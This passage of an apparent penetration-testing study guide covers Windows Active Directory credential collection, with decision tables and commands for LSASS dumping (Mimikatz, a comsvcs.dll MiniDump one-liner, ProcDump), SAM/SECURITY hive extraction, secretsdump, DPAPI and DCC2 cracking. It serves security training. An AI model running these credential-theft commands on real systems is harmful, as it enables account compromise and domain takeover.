6.3.11 Gain a more useful domain identity
Strategy map | Master Notes | Operational index | Cheatsheets
Choose a credential source or object transition by its prerequisites. Track the exact account, credential type and compatible service after every transition. Conditional AD CS/delegation/GPO branches require their own complete enabling chain.
Speedrun blocks: 11; credential classification in 5. Documented methods: 18.
Examples are hypothetical study material. Apply commands only to an assigned scope during the later practice phase. A method is enabled by its prerequisites; its presence here does not establish a vulnerability or practical mastery.
6.3.11.1 First pass: tools and findings
Use the branch matching the current host, identity and observed result. Tool output supplies leads; the linked procedure verifies and uses the exact condition.
6.3.11.1.1 Inspect the tickets/material already available
Use the current identity and ticket cache before attempting credential collection or ticket construction.
klist
- If A valid service-scoped ticket: Check service principal, expiry and the matching client. → Classify tickets and use a compatible cache.
- If A privileged local token and an accessible credential source: Check protection and exact source prerequisites before selecting a collector. → Obtain accessible live logon-session credential material.
- Otherwise: No useful ticket/source: inspect account configuration and object rights with the available domain identity. → Enumerate directory objects with native, LDAP and PowerView approaches.
6.3.11.1.2 Choose AS-REP or SPN roasting from account evidence
Use this branch only for a confirmed preauthentication-disabled account; ordinary SPN accounts use a different request.
impacket-GetNPUsers 'DOMAIN/USER' -no-pass -dc-ip DC_IP
- If A valid AS-REP response for the known account: Use the type-specific offline recovery path. → Request AS-REP material for an account without preauthentication.
- If A normal service account with an SPN: Request the matching service ticket in an authenticated context. → Request a selected service ticket for offline service-account recovery.
- Otherwise: The account requires preauthentication: stop this path and inspect SPNs or effective object rights. → Validate effective directory-object control.
6.3.11.1.3 Resolve an ACL edge to its concrete operation
Use the exact trustee, target class, GUID and inheritance/deny behavior, not the graph label alone.
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
- If Effective password-reset right on the intended user: Confirm account state and the effect of changing its password. → Reset a target account password through a validated directory right.
- If Effective write to a useful group's member attribute: Confirm the group effect and refresh the resulting token/logon context. → Add a controlled identity to a group through effective membership rights.
- If WriteOwner/WriteDacl on the target object: Preserve original state and validate each intermediate right. → Convert ownership or DACL control into a narrower useful right.
- Otherwise: The right is not effective for the controlled principal: discard that edge and inspect another verified relationship. → Enumerate directory objects with native, LDAP and PowerView approaches.
6.3.11.2 Discovery workflow
Start from a mapped object/right, an available ticket, or a host whose current privilege may expose a credential source.
Follow these observations into a method; the detailed recognition routes below show synthetic output and the checks still needed.
- Inspect existing tickets and host privilege/protection before invasive collection: Inventory, convert and import tickets in the correct logon context; Obtain accessible live logon-session credential material.
- Choose matched local credential sources and classify what each produces: Extract local account hashes from matched SAM and SYSTEM; Extract LSA secrets and cached-domain verifiers; Use Credential Manager and DPAPI with the protecting context; Parse an offline domain database or select a justified remote collection path.
- Discover the actual account flag or SPN before choosing a roast path: Request AS-REP material for an account without preauthentication; Request a selected service ticket for offline service-account recovery; Create a temporary SPN through an effective object right.
- Resolve the exact ACE and object before password, group, DACL or replication transitions: Reset a target account password through a validated directory right; Add a controlled identity to a group through effective membership rights; Convert ownership or DACL control into a narrower useful right; Use validated directory replication rights for bounded credential proof.
- Expand certificate, delegation or GPO paths only when their specific configuration evidence exists: Conditional: validate an AD CS enrollment-to-authentication path; Conditional: use a validated delegation or RBCD relationship; Conditional: trace GPO control to privileged policy consumption.
PowerView examples require a reviewed compatible script in the current authenticated directory context. Check the loaded copy rather than mixing legacy/fork parameter names; the directory-mapping entry includes native, ADSI and LDAP alternatives.
Import-Module .\PowerView.ps1
Get-Command -Module PowerView
Decision rule: an observed clue opens a candidate. Choose it only after the missing conditions are verified; a failed check rules out that context, while unavailable evidence stays inconclusive.
6.3.11.3 Method families
- Host credential sources: Obtain accessible live logon-session credential material, Extract local account hashes from matched SAM and SYSTEM, Extract LSA secrets and cached-domain verifiers, Use Credential Manager and DPAPI with the protecting context, Parse an offline domain database or select a justified remote collection path.
- Password-derived ticket recovery: Request AS-REP material for an account without preauthentication, Request a selected service ticket for offline service-account recovery, Create a temporary SPN through an effective object right.
- Ticket capabilities: Inventory, convert and import tickets in the correct logon context, Forge a service-scoped ticket from the correct service key.
- Object-backed identity changes and replication: Reset a target account password through a validated directory right, Add a controlled identity to a group through effective membership rights, Convert ownership or DACL control into a narrower useful right, Use validated directory replication rights for bounded credential proof.
- Conditional policy, delegation and certificate paths: Conditional: trace GPO control to privileged policy consumption, Conditional: use a validated delegation or RBCD relationship, Conditional: validate an AD CS enrollment-to-authentication path, Conditional: understand a realm-wide TGT forgery from KRBTGT material.
6.3.11.4 Choose a method
| Method | Recognition clue | Required access | Enabling conditions | Resulting capability |
|---|---|---|---|---|
| Obtain accessible live logon-session credential material | A controlled Windows host may hold useful logged-on identities | A domain identity, appropriate host privilege, or a validated effective directory-object right | Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material | Typed password/hash/key/ticket artifacts from accessible logon sessions |
| Extract local account hashes from matched SAM and SYSTEM | Protected local registry material is available under sufficient host privilege | A domain identity, appropriate host privilege, or a validated effective directory-object right | Matched SAM/SYSTEM from the same system and appropriate read/backup access | Local-account NT hashes with source-machine context |
| Extract LSA secrets and cached-domain verifiers | Matched SECURITY/SYSTEM material is accessible | A domain identity, appropriate host privilege, or a validated effective directory-object right | Appropriate host/read privilege and complete matching key/source files | Typed LSA secrets, machine/service credentials or cached logon verifiers |
| Use Credential Manager and DPAPI with the protecting context | Saved credentials or protected application blobs/master keys | A domain identity, appropriate host privilege, or a validated effective directory-object right | Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor | A usable saved-credential operation or decrypted secret for a defined identity |
| Parse an offline domain database or select a justified remote collection path | An already controlled DC or a validated privileged domain collection context | A domain identity, appropriate host privilege, or a validated effective directory-object right | Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method | Domain credential material with a recorded source and collection mechanism |
| Request AS-REP material for an account without preauthentication | A known user or directory flag indicates Kerberos preauthentication is disabled | A known domain username for a password-free request, or an authenticated bind for directory-backed discovery | Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ | A correctly formatted offline password-recovery artifact |
| Request a selected service ticket for offline service-account recovery | A user-owned SPN and a useful service-account relationship | A domain identity, appropriate host privilege, or a validated effective directory-object right | A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy | A selected TGS recovery artifact and possibly a recovered service-account password |
| Create a temporary SPN through an effective object right | A controlled principal can write a user's servicePrincipalName | A domain identity, appropriate host privilege, or a validated effective directory-object right | Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup | A recovery artifact for the controlled target account |
| Inventory, convert and import tickets in the correct logon context | A valid ticket/cache or a long-term key that can request a TGT | A domain identity, appropriate host privilege, or a validated effective directory-object right | Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context | A verified Kerberos service capability or key-to-TGT identity transition |
| Forge a service-scoped ticket from the correct service key | A service account key and a concrete compatible service/SPN objective | A domain identity, appropriate host privilege, or a validated effective directory-object right | Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use | A verified authentication effect limited to the compatible service context |
| Reset a target account password through a validated directory right | A controlled trustee has the effective password-reset right on a useful account | A domain identity, appropriate host privilege, or a validated effective directory-object right | Exact object/right and account state; the disruptive password change is justified within the assigned lab objective | A new known credential for the target identity |
| Add a controlled identity to a group through effective membership rights | A group member-attribute write or equivalent effective right | A domain identity, appropriate host privilege, or a validated effective directory-object right | Exact target group, controlled principal, useful resulting right and a fresh token/logon context | A verified new group-based authorization capability |
| Convert ownership or DACL control into a narrower useful right | Effective WriteOwner or WriteDacl on a useful directory object | A domain identity, appropriate host privilege, or a validated effective directory-object right | Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner | A verified specific right enabling another identity transition |
| Use validated directory replication rights for bounded credential proof | A principal has the relevant effective replication rights at the domain naming context | A domain identity, appropriate host privilege, or a validated effective directory-object right | Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient | Selected domain credential material retrieved through directory replication |
| Conditional: trace GPO control to privileged policy consumption | A useful linked GPO has a potentially controllable directory or SYSVOL component | A domain identity, appropriate host privilege, or a validated effective directory-object right | Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger | A verified policy-backed privileged action on an in-scope host |
| Conditional: use a validated delegation or RBCD relationship | Delegation configuration or computer-object write suggests a Kerberos impersonation path | A domain identity, appropriate host privilege, or a validated effective directory-object right | Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow | A service-scoped impersonation ticket accepted by the intended destination |
| Conditional: validate an AD CS enrollment-to-authentication path | A CA/template configuration exposes a plausible certificate identity transition | A domain identity, appropriate host privilege, or a validated effective directory-object right | Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path | An issued certificate/private-key capability that authenticates as the intended identity |
| Conditional: understand a realm-wide TGT forgery from KRBTGT material | An already compromised domain exposes a KRBTGT key and domain SID | A domain identity, appropriate host privilege, or a validated effective directory-object right | Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior | A realm-wide ticket capability whose acceptance and service authorization still require verification |
6.3.11.5 Obtain accessible live logon-session credential material
Choose when: A controlled Windows host may hold useful logged-on identities · Result: Typed password/hash/key/ticket artifacts from accessible logon sessions
Blocks: 11; credential classification in 5. Operational procedure | Operational procedure | Operational procedure | Operational procedure | Quick sheet
6.3.11.5.1 Purpose and result
Typed password/hash/key/ticket artifacts from accessible logon sessions.
6.3.11.5.2 Recognition clues
A controlled Windows host may hold useful logged-on identities.
6.3.11.5.2.1 Find the clue from your starting access
Where to investigate: On the verified controlled host inspect current token, logged-on session evidence and protection configuration before choosing a credential source.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Tie each artifact to an account, source/logon session and material type; independently validate any useful reuse.
Failure/next check: Protected process access denial, absent sessions and unsupported parsing are different outcomes. Prefer an accessible ticket or other matched source when available.
whoami /all
query user
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Current context: privileged host token
Session list: DOMAIN\USER may be present
RunAsPPL: enabled
Recognize this detail: A useful session is a possible source, while PPL/protection can prevent the chosen process-memory access.
Still missing before method selection: Verify actual privilege, fresh useful sessions, process/architecture compatibility and protection; prefer accessible tickets when sufficient.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The authorized source is accessible and yields correctly classified material: follow its actual credential type. |
| Ruled out in this context | The required source is protected/unavailable to this context: reject that collection method. |
| Inconclusive | A past graph session without fresh host evidence leaves useful live material unknown. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
6.3.11.5.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material.
6.3.11.5.4 Discover and verify prerequisites
whoami /all
query user
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
6.3.11.5.5 Why it works
LSASS material depends on logon type, authentication package, session lifetime and protection. Administrator membership alone does not guarantee readable credentials or plaintext passwords.
6.3.11.5.6 Execute and choose variants
| Source | What it can contain | Typical prerequisite | Result is not automatically |
|---|---|---|---|
| Current ticket cache | TGTs and service tickets for the current logon session | Current user; other LUIDs normally require elevation | A password, NT hash or authorization to every service |
| LSASS memory/dump | Logon-session NTLM/AES/DPAPI material and tickets, depending on OS/protection/logon type | Administrator/SYSTEM, suitable debug/dump access, compatible architecture | Guaranteed cleartext or every user's reusable secret |
| SAM + SYSTEM | Local account password hashes | Administrator/SYSTEM/backup-capable access to matched hives | Domain-account material |
| SECURITY + SYSTEM | LSA secrets, service/machine secrets, cached domain verifiers | Administrator/SYSTEM/backup-capable access to matched hives | Directly passable cached-domain hashes |
| Credential Manager/DPAPI | Targeted saved credentials and protected application data | Suitable user/machine context plus master-key material | Plaintext merely because a blob/file is readable |
| NTDS + SYSTEM | Domain account hashes/keys from a DC database | DC-level file access and matched boot-key material | Ordinary member-server admin access |
| DRS replication | Selected domain-account secrets | Effective replication rights at the domain root | Local admin, DC service access or Domain Users membership |
whoami /all
tasklist /fi "imagename eq lsass.exe"
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
Select-Object SecurityServicesConfigured,SecurityServicesRunning,VirtualizationBasedSecurityStatus
Interpretation:
- membership in Administrators with a medium-integrity filtered token is not equivalent to an elevated process;
SeDebugPrivilegemust be present and usable for common live-process access;- a missing registry value is not definitive proof that a protection is disabled because defaults, policy and firmware state matter;
- LSA protection blocks untrusted code injection/process-memory access; Credential Guard isolates selected NTLM, Kerberos and saved-domain secrets with VBS;
- EDR/AV can block a tool or dump path without proving the underlying credential source is empty.
An access-denied or empty result disproves only that method in the current context.
6.3.11.5.6.1.1 Read accessible logon-session material with Mimikatz Direct Mimikatz access
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets
Decisive output is a named logon session with a typed value: NTLM, AES key, DPAPI key or ticket. A username with Password : (null) is not a failed tool run when another useful field exists, and modern Windows commonly does not retain reusable cleartext.
6.3.11.5.6.1.2 Collect an authorized memory artifact for offline parsing Dump first, parse offline
Built-in comsvcs.dll method from an elevated command prompt:
for /f "tokens=2" %A in ('tasklist ^| findstr /i lsass.exe') do rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump %A C:\Windows\Temp\lsass.dmp full
Sysinternals ProcDump alternative:
procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
Parse with a compatible Mimikatz build:
mimikatz.exe
sekurlsa::minidump C:\Path\To\lsass.dmp
sekurlsa::logonpasswords
sekurlsa::tickets
Common failures:
- dump creation denied: token/protection/EDR or process-access prerequisite failed;
ProcessorArchitecturemismatch: use compatible x64/x86 tooling;- OS major-version mismatch: parse with a compatible build/environment;
- dump succeeds but secrets are absent: logon type, sign-out/reboot, Credential Guard and provider behavior affect contents.
LSASS dumps are sensitive and noisy. Hash the evidence if needed, transfer through the established route, store it privately and remove the target copy after the authorized objective.
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured,DeviceGuardSecurityServicesRunning
Credential Guard can isolate reusable domain secrets from ordinary LSASS memory. It does not erase local SAM, file, vault, DPAPI, ticket, service-configuration or directory-right paths. One failed dump method disproves only that method and context. Intrusive SSP interception changes system state and waits for a future logon; it is not the default Block 5 response.
6.3.11.5.7 Worked example — hypothetical
Observation: a privileged user had a session on a controlled host. Test: validate current session and protection state before the appropriate collection method. Illustrative output: an NT hash is available but no plaintext password. Interpretation: classify it and select a compatible authorized service.
6.3.11.5.8 Verify the result
Tie each artifact to an account, source/logon session and material type; independently validate any useful reuse.
6.3.11.5.9 Failure and fallback
Protected process access denial, absent sessions and unsupported parsing are different outcomes. Prefer an accessible ticket or other matched source when available.
6.3.11.5.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| An NT verifier from an appropriate credential source | Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights | §3.1.11 — Recover or reuse an NT password hash |
| A ccache/kirbi file or an existing ticket cache | Correct principal/realm, valid lifetime, service scope, compatible cache format and naming/KDC route | §3.1.14 — Classify tickets and use a compatible cache |
| Protected local registry material is available under sufficient host privilege | Matched SAM/SYSTEM from the same system and appropriate read/backup access | §6.3.11.6 — Extract local account hashes from matched SAM and SYSTEM |
| An already controlled DC or a validated privileged domain collection context | Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method | §6.3.11.9 — Parse an offline domain database or select a justified remote collection path |
6.3.11.6 Extract local account hashes from matched SAM and SYSTEM
Choose when: Protected local registry material is available under sufficient host privilege · Result: Local-account NT hashes with source-machine context
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.6.1 Purpose and result
Local-account NT hashes with source-machine context.
6.3.11.6.2 Recognition clues
Protected local registry material is available under sufficient host privilege.
6.3.11.6.2.1 Find the clue from your starting access
Where to investigate: At a host context with justified protected-file access inspect current privileges and the source machine before selecting matched registry material.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Matched SAM/SYSTEM from the same system and appropriate read/backup access
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify source machine, matched hive pair and account/RID mapping; validate destination rights separately.
Failure/next check: Mismatched/incomplete hives or denied backup operations require source repair. Local hashes do not automatically grant domain access.
hostname
whoami /priv
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Host: TARGET_HOST
Relevant backup/read privilege: present
Needed pair: SAM plus matching SYSTEM
Recognize this detail: Sufficient source access suggests local-account extraction, not domain-account extraction.
Still missing before method selection: Verify a supported backup/read operation, complete same-host hives and offline parser context.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The matched local pair is available and parses correctly: classify the returned local hashes. |
| Ruled out in this context | Only unrelated/mismatched hives are available: reject parsing them as a consistent pair. |
| Inconclusive | A privilege name alone does not establish the artifacts can be obtained. |
If you do not yet have this clue: start with Use backup privilege to obtain protected local credential material.
6.3.11.6.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Matched SAM/SYSTEM from the same system and appropriate read/backup access.
6.3.11.6.4 Discover and verify prerequisites
whoami /priv
reg save HKLM\SAM C:\Windows\Temp\SAM.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save
6.3.11.6.5 Why it works
SAM stores local account verifiers protected using key material derived from SYSTEM. These are local identities; a same-named domain account is a different principal.
6.3.11.6.6 Execute and choose variants
reg save HKLM\SAM C:\Windows\Temp\SAM.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
Mimikatz alternative from a suitable elevated context:
privilege::debug
token::elevate
lsadump::sam
Interpret a typical account row as:
LOCAL_USER:RID:LM_HASH:NT_HASH:::
The NT hash is local-account material. Its reuse depends on the same local password existing elsewhere, account state, remote UAC restrictions, service support and host authorization. Return it to the credential-classification workflow; do not call it a domain credential.
6.3.11.6.7 Worked example — hypothetical
Observation: a backup-capable context obtains both hives. Test: parse the matched files offline. Illustrative output: a local administrator hash is recovered. Interpretation: test only justified local-account reuse with explicit target-local qualification.
6.3.11.6.8 Verify the result
Verify source machine, matched hive pair and account/RID mapping; validate destination rights separately.
6.3.11.6.9 Failure and fallback
Mismatched/incomplete hives or denied backup operations require source repair. Local hashes do not automatically grant domain access.
6.3.11.6.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| An NT verifier from an appropriate credential source | Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights | §3.1.11 — Recover or reuse an NT password hash |
| A password, actual NT hash, AES/NT long-term key or ticket is available | Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization | §6.4.4.6 — Select password, NT hash, key-to-ticket or ticket authentication |
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| Matched SECURITY/SYSTEM material is accessible | Appropriate host/read privilege and complete matching key/source files | §6.3.11.7 — Extract LSA secrets and cached-domain verifiers |
6.3.11.7 Extract LSA secrets and cached-domain verifiers
Choose when: Matched SECURITY/SYSTEM material is accessible · Result: Typed LSA secrets, machine/service credentials or cached logon verifiers
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.7.1 Purpose and result
Typed LSA secrets, machine/service credentials or cached logon verifiers.
6.3.11.7.2 Recognition clues
Matched SECURITY/SYSTEM material is accessible.
6.3.11.7.2.1 Find the clue from your starting access
Where to investigate: Inspect the rights and origin of a protected registry backup and distinguish SECURITY data from SAM before collection/parsing.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Appropriate host/read privilege and complete matching key/source files
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Retain source, account, type and required factors; do not label every parsed output a Pass-the-Hash credential.
Failure/next check: Absent cached entries or protected secrets are source-specific limitations; use another justified credential source.
hostname
whoami /priv
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Available snapshot: SECURITY.save
Matching SYSTEM.save: verify
Expected outputs: LSA secrets and cached logon records
Recognize this detail: A SECURITY source targets secrets/cached verifiers with distinct semantics; it is not simply another SAM.
Still missing before method selection: Confirm matched key material and classify every returned service/machine secret or DCC2 record.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A complete matched source yields usable typed material: choose its type-specific next method. |
| Ruled out in this context | The SYSTEM file comes from another snapshot/machine: reject that consistency assumption. |
| Inconclusive | An empty parser result with incomplete source/context leaves credential absence unproved. |
If you do not yet have this clue: start with Use backup privilege to obtain protected local credential material.
6.3.11.7.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Appropriate host/read privilege and complete matching key/source files.
6.3.11.7.4 Discover and verify prerequisites
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save
6.3.11.7.5 Why it works
Different SECURITY records encode different capabilities. DCC2 is an offline verifier; a machine-account secret and a service password have different identities and compatible uses.
6.3.11.7.6 Execute and choose variants
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y
impacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCAL
Mimikatz alternative:
privilege::debug
token::elevate
lsadump::secrets
lsadump::cache
Potential categories:
$MACHINE.ACC: member computer's domain-account secret/key material;- service/autologon secrets: usefulness depends on whether the service/account remains active;
NL$1-style cached logon data: DCC2/MSCache v2 verifier material.
DCC2 is for offline guessing, not Pass-the-Hash:
hashcat -m 2100 dcc2.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Verify the exact format with the installed Hashcat examples before cracking.
6.3.11.7.7 Worked example — hypothetical
Observation: offline parsing yields both a cached logon verifier and a service secret. Test: classify each output independently. Illustrative output: DCC2 needs recovery while the service password can be validated directly. Interpretation: choose separate next methods.
6.3.11.7.8 Verify the result
Retain source, account, type and required factors; do not label every parsed output a Pass-the-Hash credential.
6.3.11.7.9 Failure and fallback
Absent cached entries or protected secrets are source-specific limitations; use another justified credential source.
6.3.11.7.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A DCC2/MSCache record from matched SECURITY/SYSTEM material | Correct username/salt/iteration context and feasible offline candidates | §3.1.13 — Recover a password from cached domain logon verifiers |
| A password tied to a plausible user and service | Correct local/domain/application identity, reachable compatible service, accepted authentication and account state | §3.1.6 — Validate known passwords and context-specific reuse |
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
6.3.11.8 Use Credential Manager and DPAPI with the protecting context
Choose when: Saved credentials or protected application blobs/master keys · Result: A usable saved-credential operation or decrypted secret for a defined identity
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.8.1 Purpose and result
A usable saved-credential operation or decrypted secret for a defined identity.
6.3.11.8.2 Recognition clues
Saved credentials or protected application blobs/master keys.
6.3.11.8.2.1 Find the clue from your starting access
Where to investigate: Inspect saved-credential targets and readable protected files within the current protecting user/machine context.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify the decrypted value or actual saved-credential action in its matching context.
Failure/next check: Missing master keys, wrong protecting identity or incomplete artifacts require another source/context.
whoami /user
cmdkey /list
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Protecting user: USER_SID
Credential target: TARGET_HOST
Available artifact: protected blob; plaintext not shown
Recognize this detail: The target and protecting SID identify which keys/context or consumer must be investigated.
Still missing before method selection: Check matching master keys/recovery factors or an allowed saved-credential consumer; file read alone is insufficient.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Matching protection factors decrypt the material or the intended consumer works: use that bounded capability. |
| Ruled out in this context | Only a blob from an unrelated user is present without its required factors: reject the current decryption route. |
| Inconclusive | A cmdkey listing without usable context does not establish a password. |
If you do not yet have this clue: start with Recover Windows application, history and stored-credential artifacts.
6.3.11.8.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor.
6.3.11.8.4 Discover and verify prerequisites
cmdkey /list
whoami /all
6.3.11.8.5 Why it works
DPAPI ties protection to user/machine keys and context. A blob or cmdkey listing alone does not disclose plaintext, and a stored credential may be target/logon-type bound.
6.3.11.8.6 Execute and choose variants
cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
Get-ChildItem "$env:APPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:LOCALAPPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:APPDATA\Microsoft\Protect" -Force -Recurse -ErrorAction SilentlyContinue
For each entry record target, type, username, persistence/context and whether a compatible application can ask Windows to use it. A listed credential is not necessarily exportable plaintext.
DPAPI reasoning:
PROTECTED BLOB
-> MASTER-KEY GUID
-> USER OR MACHINE PROTECT SCOPE
-> MASTER-KEY DECRYPTION MATERIAL
-> APPLICATION-SPECIFIC DECODING
Possible decryption material includes the already logged-on user context, the user's password/NT hash, machine context or a domain DPAPI backup key. Prefer using the authorized existing context rather than copying unrelated protected data. One blob without its master key/context is incomplete.
6.3.11.8.7 Worked example — hypothetical
Observation: saved credentials reference a remote host. Test: inspect the available matching user context and intended consumer. Illustrative output: the saved credential permits that target action but reveals no password. Interpretation: record the capability rather than inventing a plaintext secret.
6.3.11.8.8 Verify the result
Verify the decrypted value or actual saved-credential action in its matching context.
6.3.11.8.9 Failure and fallback
Missing master keys, wrong protecting identity or incomplete artifacts require another source/context.
6.3.11.8.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| A password tied to a plausible user and service | Correct local/domain/application identity, reachable compatible service, accepted authentication and account state | §3.1.6 — Validate known passwords and context-specific reuse |
| Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries | Artifact read permission and exact protecting identity/context for saved or DPAPI material | §5.2.7 — Recover Windows application, history and stored-credential artifacts |
6.3.11.9 Parse an offline domain database or select a justified remote collection path
Choose when: An already controlled DC or a validated privileged domain collection context · Result: Domain credential material with a recorded source and collection mechanism
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.9.1 Purpose and result
Domain credential material with a recorded source and collection mechanism.
6.3.11.9.2 Recognition clues
An already controlled DC or a validated privileged domain collection context.
6.3.11.9.2.1 Find the clue from your starting access
Where to investigate: Start only from evidence of an already controlled DC or a domain replication right; identify the source mechanism before choosing a generic extraction command.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify source consistency, account mapping and the exact collection method; retain sensitive output privately.
Failure/next check: DC reachability or local administrator access on a member server is not sufficient for domain replication.
file NTDS.dit SYSTEM.save
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
NTDS.dit: database artifact
SYSTEM.save: registry artifact
Same DC/consistent snapshot: must be verified
Recognize this detail: A database/key pair is an offline source candidate; remote DRS requires a different permission chain.
Still missing before method selection: Verify same-source consistency and access, or independently validate the exact replication/remote collection prerequisites.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The consistent offline pair parses into account-labelled material: choose classification/reuse. |
| Ruled out in this context | Only administrator access on a member server exists: reject the assumed domain-database/replication access. |
| Inconclusive | Two filenames without provenance do not prove a matched usable source. |
If you do not yet have this clue: start with Use backup privilege to obtain protected local credential material.
6.3.11.9.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method.
6.3.11.9.4 Discover and verify prerequisites
file NTDS.dit SYSTEM.save
6.3.11.9.5 Why it works
